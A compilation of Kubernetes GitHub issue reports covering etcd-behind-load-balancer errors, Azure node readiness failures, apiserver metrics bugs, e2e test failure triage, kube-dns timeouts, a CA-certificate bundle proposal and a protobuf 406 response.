what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : etcd, load balancer, invalid json, failed to allocate serviceip\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  : v1.4.7  bug occurs in v1.4.8 and v1.5.2 as well \r \r \r   environment  :\r -   cloud provider or hardware configuration  : i have 1 master node, 2 worker nodes and 3 node etcd cluster running in a aws vpc. \r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  : 4.4.0-53-generic   74-ubuntu smp fri dec 2 15:59:10 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : manual installation using manifest files for kubeapi, kube scheduler, kube controller manager and kube proxy. \r -   others  :\r \r \r   what happened  :\r the kube api server does not create a new service if it is communicating with the the etcd server through an aws   application   load balancer or nginx proxy.  specifically the following error occurs in kubeapi v1.4.7:\r \r    \r i0210 04:39:55.781273       5 handlers.go:162  post /api/v1/namespaces/default/services:  15.911384ms  500\r goroutine 3363  running :\r k8s.io/kubernetes/pkg/httplog.  resplogger .recordstatus 0xc8230a79d0, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:219 +0xa3\r k8s.io/kubernetes/pkg/httplog.  resplogger .writeheader 0xc8230a79d0, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/httplog/log.go:198 +0x2b\r k8s.io/kubernetes/pkg/apiserver/metrics.  responsewriterdelegator .writeheader 0xc8230dc000, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:117 +0x4c\r k8s.io/kubernetes/pkg/apiserver.writenegotiated 0x7fa5696ff1d8, 0xc82053b260, 0x0, 0x0, 0x3f04220, 0x2, 0x7fa569507df0, 0xc822c9a670, 0xc823076fc0, 0x1f4, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:492 +0x189\r k8s.io/kubernetes/pkg/apiserver.errornegotiated 0x7fa569507e28, 0xc823104480, 0x7fa5696ff1d8, 0xc82053b260, 0x0, 0x0, 0x3f04220, 0x2, 0x7fa569507df0, 0xc822c9a670, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/apiserver.go:509 +0x1a9\r k8s.io/kubernetes/pkg/apiserver.  requestscope .err 0xc820afbce0, 0x7fa569507e28, 0xc823104480, 0x7fa569507df0, 0xc822c9a670, 0xc823076fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:87 +0x191\r k8s.io/kubernetes/pkg/apiserver.createhandler.func1 0xc8230b1f50, 0xc8230b5140 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/resthandler.go:410 +0x14cd\r k8s.io/kubernetes/pkg/apiserver/metrics.instrumentroutefunc.func1 0xc8230b1f50, 0xc8230b5140 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/metrics/metrics.go:101 +0x25f\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc820134510, 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:272 +0xf30\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container . k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.dispatch -fm 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x3e\r net/http.handlerfunc.servehttp 0xc820c037e0, 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/usr/local/go/src/net/http/server.go:1618 +0x3a\r net/http.  servemux .servehttp 0xc8206535c0, 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/usr/local/go/src/net/http/server.go:1910 +0x17d\r k8s.io/kubernetes/pkg/apiserver.withauthorizationcheck.func1 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:476 +0x36c\r net/http.handlerfunc.servehttp 0xc8200d63c0, 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/apiserver.withimpersonation.func1 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handler_impersonation.go:44 +0x2b4\r net/http.handlerfunc.servehttp 0xc8200d6440, 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/auth/handlers.newrequestauthenticator.func1 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/auth/handlers/handlers.go:70 +0x2f3\r net/http.handlerfunc.servehttp 0xc8203a6140, 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/api.newrequestcontextfilter.func1 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/requestcontext.go:101 +0x157\r net/http.handlerfunc.servehttp 0xc82051e5e0, 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/api.newrequestcontextfilter.func1 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/api/requestcontext.go:101 +0x157\r net/http.handlerfunc.servehttp 0xc82051e600, 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/apiserver.recoverpanics.func1 0x7fa569507d08, 0xc8230a79d0, 0xc823076fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:161 +0x1f3\r net/http.handlerfunc.servehttp 0xc8218d4aa0, 0x7fa569507cd0, 0xc822c9a660, 0xc823076fc0 \r \t/usr/local/go/src/net/http/server.go:1618 +0x3a\r k8s.io/kubernetes/pkg/apiserver.  timeouthandler .servehttp.func1 0xc8218d4ac0, 0x7fa569507c90, 0xc822c9a660, 0xc823076fc0, 0xc8230b5080 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:194 +0x8d\r created by k8s.io/kubernetes/pkg/apiserver.  timeouthandler .servehttp\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/apiserver/handlers.go:196 +0x15b\r \r logging error output: \ {\\\ kind\\\ :\\\ status\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ internal error occurred: failed to allocate a serviceip: client: response is invalid json. the endpoint is probably not valid etcd cluster endpoint.\\\ ,\\\ reason\\\ :\\\ internalerror\\\ ,\\\ details\\\ :{\\\ causes\\\ : {\\\ message\\\ :\\\ failed to allocate a serviceip: client: response is invalid json. the endpoint is probably not valid etcd cluster endpoint.\\\ } },\\\ code\\\ :500}\ \ \r    kubectl/v1.3.0  linux/amd64  kubernetes/2831379  10.95.26.200:37509 \r    \r \r   this problem does not occur if the kube api server communicates with etcd nodes directly or through a aws classical load balancer. basically http proxy is a problem i think.  \r \r   what you expected to happen  :\r kube api server should create a service regardless of what kind of load balancer is used with etcd.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. set up an etcd cluster with 3 or 1 nodes.\r 2. create a aws application load balancer in front on the etcd cluster.\r 3. set up a master node with kube api, kube scheduler, and kube controller manager manifests using kubelet. specify the application load balancer as the etcd endpoint for kube api config. \r 4. keep creating a few services in the cluster using kubectl.\r 5. after about 4-5 services are created, you will see the above mentioned error.\r \r   anything else we need to know  :\r all the nodes were created in aws on ubuntu machines.

is this a bug report or feature request?    choose one : bug report\r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : xenial\r -   kernel    e.g.  uname -a  : latest xenial lts kernel\r -   install tools  :\r -   others  : acs-engine cluster\r \r \r   what happened  :\r two of my three nodes went  notready  and have not returned.\r \r   what you expected to happen  :\r them not to have gone  notready  or them to have transitioned back out.\r \r    \r conditions:\r   type                  status  lastheartbeattime                       lasttransitiontime                      reason                          message\r   ----                  ------  -----------------                       ------------------                      ------                          -------\r   outofdisk             false   tue, 21 feb 2017 16:10:32 -0800         mon, 20 feb 2017 11:21:26 -0800         kubelethassufficientdisk        kubelet has sufficient disk space available\r   memorypressure        false   tue, 21 feb 2017 16:10:32 -0800         fri, 10 feb 2017 17:45:04 -0800         kubelethassufficientmemory      kubelet has sufficient memory available\r   diskpressure          false   tue, 21 feb 2017 16:10:32 -0800         fri, 10 feb 2017 17:45:04 -0800         kubelethasnodiskpressure        kubelet has no disk pressure\r   ready                 false   tue, 21 feb 2017 16:10:32 -0800         mon, 20 feb 2017 11:21:26 -0800         kubeletnotready                 kubelet failed to get node info: failed to get external id from cloud provider: compute.virtualmachinesclient get: failure responding to request: statuscode=504 -- original error: autorest/azure: service returned an error. status=504 code=\ gatewaytimeout\  message=\ the gateway did not receive a response from 'microsoft.compute' within the specified time period.\ \r   networkunavailable    false   fri, 10 feb 2017 17:45:23 -0800         fri, 10 feb 2017 17:45:23 -0800         routecreated                    routecontroller created a route\r    \r \r my guess is that it got an error back from azure and then got \ stuck\ . this is similar to how kubelet gets stuck on bootup if the cloudprovider instances returns a 401 error... in that case, the kubelet grinds to a halt and doesn't start up the static pods. that's why i'm suspicious of a bug here.\r \r   how to reproduce it    as minimally and precisely as possible :\r unclear at this moment.\r \r   anything else we need to know  :\r n/a

it seems like the apiserver is not properly updating the  apiserver_request_count  metric for \ list\  api calls.\r \r ---------------------------------------------------\r \r i created a new k8s cluster, ssh'ed to the master to obtain the count of  list pods  requests coming from kubectl using  curl localhost:8080/metrics | grep \ apiserver_request_count{client=\\\ kubectl\  | grep \ resource=\\\ pods\\\ ,verb=\\\ list\\\ \  , and got the following result:\r \r    \r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ list\ } 18\r    \r \r then i made a few  kubectl get pods  requests and rechecked the value of the count after a while. and it stayed the same as above.\r \r -----------------------------------------------------\r \r however  get pods  seems to be rightly reporting the values.\r result of running  curl localhost:8080/metrics | grep \ apiserver_request_count{client=\\\ kubectl\  | grep \ resource=\\\ pods\\\ ,verb=\\\ get\\\ \   was:\r \r    \r apiserver_request_count{client=\ kubectl/v1.7.0  linux/amd64  kubernetes/c083871\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 7\r    \r \r then i made precisely 4  kubectl get pod yolo  requests and it seemed to update fine:\r \r    \r apiserver_request_count{client=\ kubectl/v1.7.0  linux/amd64  kubernetes/c083871\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 11\r    \r \r -----------------------------------------------------\r \r this problem seems to be there for other list requests too and we need to fix this.\r i'll look deeper into it.\r \r cc @kubernetes/sig-scalability-misc @wojtek-t @gmarek \r \r

failure cluster  e37e4489a00086b50245  https://go.k8s.io/triage e37e4489a00086b50245        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:121 test panicked /usr/local/go/src/runtime/panic.go:489           failure cluster statistics: 8 tests failed,    2 jobs failed,    88 builds failed. failure stats cover 1 day time range '3 aug 2017 03:31 utc' to '4 aug 2017 03:31 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-storage  persistentvolumes-local  feature:localpersistentvolumes   serial  when one pod requests one prebound pvc should be able to mount and read from the volume using one-command containers | 2 | |  sig-storage  persistentvolumes-local  feature:localpersistentvolumes   serial  when one pod requests one prebound pvc should be able to mount and write to the volume using one-command containers | 2 | |  sig-storage  persistentvolumes-local  feature:localpersistentvolumes   serial  when one pod requests one prebound pvc should be able to mount volume and read from pod1 | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-alpha-features | 46 |  4 aug 2017 02:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/14033  | | ci-kubernetes-e2e-gce-alpha-features | 42 |  4 aug 2017 03:00 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-alpha-features/13991  |   current status  https://go.k8s.io/triage e37e4489a00086b50245

is this a bug report or feature request?  :\r  \r   what happened  :\r \r there is anecdotal evidence of clusters breaking down  etcd/api server go unavailable  when all pods of large deployment/rc start crashlooping.\r \r   what you expected to happen  :\r \r we should have a loadtest that would let us investigate this in a controlled environment, and make sure the system is stable in such situation.\r \r we know there are   many   scenarios that we currently do not test for, but i feel this is somewhat important.\r \r @kubernetes/sig-scalability-feature-requests \r /

is this a bug report or feature request?  :\r /kind  bug\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r add testcase  for toleration.go function.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r  root@k8s_master network   docker logs -f k8s_kubedns_kube-dns-7c8795467f-ddlfx_kube-system_3e2c1b1b-f9ef-11e7-8bc5-080027f57e7e_1\r i0115 12:27:11.088709       1 dns.go:48  version: 1.14.4-2-g5584e04\r i0115 12:27:11.113518       1 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r i0115 12:27:11.115558       1 server.go:113  flag: --alsologtostderr=\ false\ \r i0115 12:27:11.115582       1 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r i0115 12:27:11.115605       1 server.go:113  flag: --config-map=\ \ \r i0115 12:27:11.115615       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i0115 12:27:11.115625       1 server.go:113  flag: --config-period=\ 10s\ \r i0115 12:27:11.115668       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i0115 12:27:11.115678       1 server.go:113  flag: --dns-port=\ 10053\ \r i0115 12:27:11.115690       1 server.go:113  flag: --domain=\ cluster.local.\ \r i0115 12:27:11.115703       1 server.go:113  flag: --federations=\ \ \r i0115 12:27:11.115714       1 server.go:113  flag: --healthz-port=\ 8081\ \r i0115 12:27:11.115724       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i0115 12:27:11.115734       1 server.go:113  flag: --kube-master-url=\ \ \r i0115 12:27:11.115744       1 server.go:113  flag: --kubecfg-file=\ \ \r i0115 12:27:11.115754       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r i0115 12:27:11.115769       1 server.go:113  flag: --log-dir=\ \ \r i0115 12:27:11.115780       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i0115 12:27:11.115789       1 server.go:113  flag: --logtostderr=\ true\ \r i0115 12:27:11.115799       1 server.go:113  flag: --nameservers=\ \ \r i0115 12:27:11.115808       1 server.go:113  flag: --stderrthreshold=\ 2\ \r i0115 12:27:11.115817       1 server.go:113  flag: --v=\ 2\ \r i0115 12:27:11.115827       1 server.go:113  flag: --version=\ false\ \r i0115 12:27:11.115840       1 server.go:113  flag: --vmodule=\ \ \r i0115 12:27:11.132335       1 server.go:176  starting skydns server  0.0.0.0:10053 \r i0115 12:27:11.135984       1 server.go:198  skydns metrics enabled  /metrics:10055 \r i0115 12:27:11.136006       1 dns.go:147  starting endpointscontroller\r i0115 12:27:11.136014       1 dns.go:150  starting servicecontroller\r i0115 12:27:11.149780       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0115 12:27:11.149801       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0115 12:27:11.636347       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:12.136389       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:12.636451       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:13.141095       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:13.636601       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:14.136593       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:14.639200       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:15.136263       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:15.636306       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:16.136395       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:16.636435       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:17.136483       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:17.636531       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:18.136565       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:18.636628       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:19.136750       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:19.637278       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:20.136388       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:20.636301       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:21.136417       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:21.636540       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:22.137893       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:22.636669       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:23.136707       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:23.636960       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:24.136360       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:24.636395       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:25.136427       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:25.637778       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:26.136538       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:26.636655       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:27.140558       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:27.636233       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:28.136316       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:28.636356       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:29.138755       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:29.643838       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:30.136546       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:30.636633       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:31.136683       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:31.636243       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:32.136339       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:32.636360       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:33.136441       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:33.636499       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:34.136555       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:34.636625       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:35.137084       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:35.636368       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:36.136325       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:36.636339       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:37.136414       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:37.636686       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:38.136540       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:38.636584       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:39.136219       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:39.636453       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:40.136279       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:40.636385       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:41.136408       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e0115 12:27:41.191674       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://10.254.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.254.0.1:443: i/o timeout\r e0115 12:27:41.192098       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://10.254.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.254.0.1:443: i/o timeout\r i0115 12:27:41.636459       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:42.136313       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:42.637182       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:43.136654       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i0115 12:27:43.636282       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...

failure cluster  c765028b1f988106dc5d  https://go.k8s.io/triage c765028b1f988106dc5d        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes.go:236 expected error:     < errors.errorstring | 0xc420198a70>: {         s: \ pod \\\ pvc-tester-gwqdf\\\  did not exit with success: pod \\\ pvc-tester-gwqdf\\\  failed to reach success: gave up after waiting 5m0s for pod \\\ pvc-tester-gwqdf\\\  to be \\\ success or failure\\\ \ ,     }     pod \ pvc-tester-gwqdf\  did not exit with success: pod \ pvc-tester-gwqdf\  failed to reach success: gave up after waiting 5m0s for pod \ pvc-tester-gwqdf\  to be \ success or failure\  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes.go:241           failure cluster statistics: 6 tests failed,    6 jobs failed,    89 builds failed. failure stats cover 1 day time range '21 jan 2018 03:22 utc' to '22 jan 2018 03:22 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-storage  persistentvolumes nfs with single pv - pvc pairs should create a non-pre-bound pv and pvc: test write access  | 6 | |  sig-storage  persistentvolumes nfs with single pv - pvc pairs create a pvc and a pre-bound pv: test write access | 6 | |  sig-storage  persistentvolumes nfs with multiple pvs and pvcs all in same ns should create 3 pvs and 3 pvcs: test write access | 5 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kops-aws | 28 |  22 jan 2018 02:30 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/22780  | | ci-kubernetes-e2e-kops-aws-beta | 19 |  22 jan 2018 02:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-beta/1459  | | ci-kubernetes-e2e-kops-aws-canary | 19 |  22 jan 2018 02:15 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-canary/6466  |   current status  https://go.k8s.io/triage c765028b1f988106dc5d

is this a bug report or feature request?  :\r   /area test\r \r   what happened  :\r we have a  cleanupgceingresscontroller  function which monitors whether gcp resources are cleaned up by glbc after test is finished, and clean resource up otherwise.\r https://github.com/kubernetes/kubernetes/blob/2941c4bcbcabcc1516d86fa0e3345ee8262d21fa/test/e2e/framework/ingress_utils.go l334-l373\r \r hiding the leaking signal seems bad. when resource is leaked, we should clean them up but still fail the test.

 \r   what happened  :\r \r a common requirement of container base images is to provide ca-certs. for example, many of our addons are based on alpine purely to install the  ca-certificates  package.\r \r i believe this is an anti-pattern:\r \r - revoking or adding new ca-certificates requires rebuilding & redeploying all workloads  that need it \r - if my organization wants to add our internal ca, or decides we don't trust a \ standard\  ca, we need to build our own images.\r - there is poor visibility into which ca-certs are trusted across the cluster.\r \r a related problem is how to mount the kubernetes root ca into pods. see https://github.com/kubernetes/community/pull/1973 for a discussion.\r \r   what you expected to happen  :\r \r there is an opportunity for kubernetes to provide some value-add here with support for cluster-managed root ca bundles. this is already feasible to some extent by putting the  ca-certificates.crt  bundle in a config map and mounting it into containers at  /etc/ssl/ , but there are some shortcomings to this approach:\r \r 1. no cross-namespace config map references, so the cm needs to be cloned into every namespace\r 2. every pod-spec needs to be modified to mount the ca-certs.\r 3. lack of standardization means most containers will still build in the certs\r \r an ideal solution would:\r \r 1. have a single cluster-scoped copy of the ca-cert data\r 2. custom certs could easily be added as additional resources or k-v pairs\r 3. certs are automatically injected  optionally disabled, a la automountserviceaccounttoken \r 4. clusters include ca-certs by default  either kubernetes provides a bundle, or load the master's host ca-certificates on startup \r \r i'm not sure whether a new resource type  or crd  is necessary here, or if configmaps  either via x-namespace references or a new clusterconfigmap  would be sufficient.\r \r wdyt?\r \r 

 \r   what happened  :\r sent a request for an aggregated resource  sample-api wardle/flunders . response was a 406 status code and an error message saying the response could not be given.\r \r   what you expected to happen  :\r a 200 status response containing marshaled protobuf data for the sample-apiserver api resource types.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     1. set up sample-apiserver.\r     2.  curl -k -v -h \ accept: application/vnd.kubernetes.protobuf\  -h \ authorization: bearer \  http://localhost:8080/apis/wardle.k8s.io/v1alpha1/namespaces/default/flunders \r     response:\r    \r < http/1.1 406 not acceptable\r < content-length: 184\r < content-type: application/vnd.kubernetes.protobuf\r < date: mon, 06 aug 2018 23:52:22 gmt\r < \r k8s\r \r \r \u0002v1\u0012\u0006status\u0012�\u0001\r \u0006\r   connection  0 to host localhost left intact\r notacceptable0�\u0003\u001a\ object  v1alpha1.flunderlist does not implement the protobuf marshalling interface and cannot be encoded to a protobuf message\ \r \r    \r \r   anything else we need to know?  : the  406 not acceptable  status code depends on the fix for  50342. without this fix, the response status code will be  200 ok .\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0-alpha.1.158+1ced858ddde1bb\r - cloud provider or hardware configuration: hack/local-up-cluster.sh  minikube \r - os  e.g. from /etc/os-release : ubuntu 18.04.1 lts  64 bit \r - kernel  e.g.  uname -a  : linux 4.15.0-29-generic  31-ubuntu smp tue jul 17 15:39:52 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

